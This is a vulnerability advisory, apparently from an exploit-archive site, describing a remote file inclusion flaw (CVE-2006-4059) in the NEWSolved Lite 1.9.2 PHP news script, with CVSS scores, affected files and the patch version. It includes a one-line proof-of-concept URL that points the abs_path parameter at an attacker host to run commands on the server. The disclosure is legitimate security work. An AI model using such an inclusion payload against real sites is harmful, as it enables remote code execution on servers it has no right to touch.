NEWSolved Lite v1.9.2 (abs_path) Remote File Inclusion

2006.08.12
Credit: Philipp Niedziela
Risk: High
Local: No
Remote: Yes
CVE: CVE-2006-4059
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

+-------------------------------------------------------------------- + + NEWSolved Lite v1.9.2 (abs_path) Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: NEWSolved Lite v1.9.2 (maybe above) + Venedor ...........: http://www.usolved.net + Class .............: Remote File Inclusion + Risk ..............: high (Remote File Execution) + Found by ..........: Philipp Niedziela + Original advisory .: http://www.bb-pcsecurity.de/sicherheit_286.htm + Contact ...........: webmaster[at]bb-pcsecurity[.]de + http://www.bb-pcsecurity.de + +-------------------------------------------------------------------- + + Affected files: + + newsscript_lyt.php + newsticker/newsscript_get.php + inc/output/news_theme1.php + inc/output/news_theme2.php + inc/output/news_theme3.php + +-------------------------------------------------------------------- + + $abs_path is not properly sanitized before being used + +-------------------------------------------------------------------- + + Solution: + + Download Patch v1.9.3 and replace the files above. + +-------------------------------------------------------------------- + + PoC: + + http://[target]/inc/output/news_theme1.php?abs_path=http://evilsite.com? cmd=ls + +-------------------------[ E O F ]----------------------------------


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top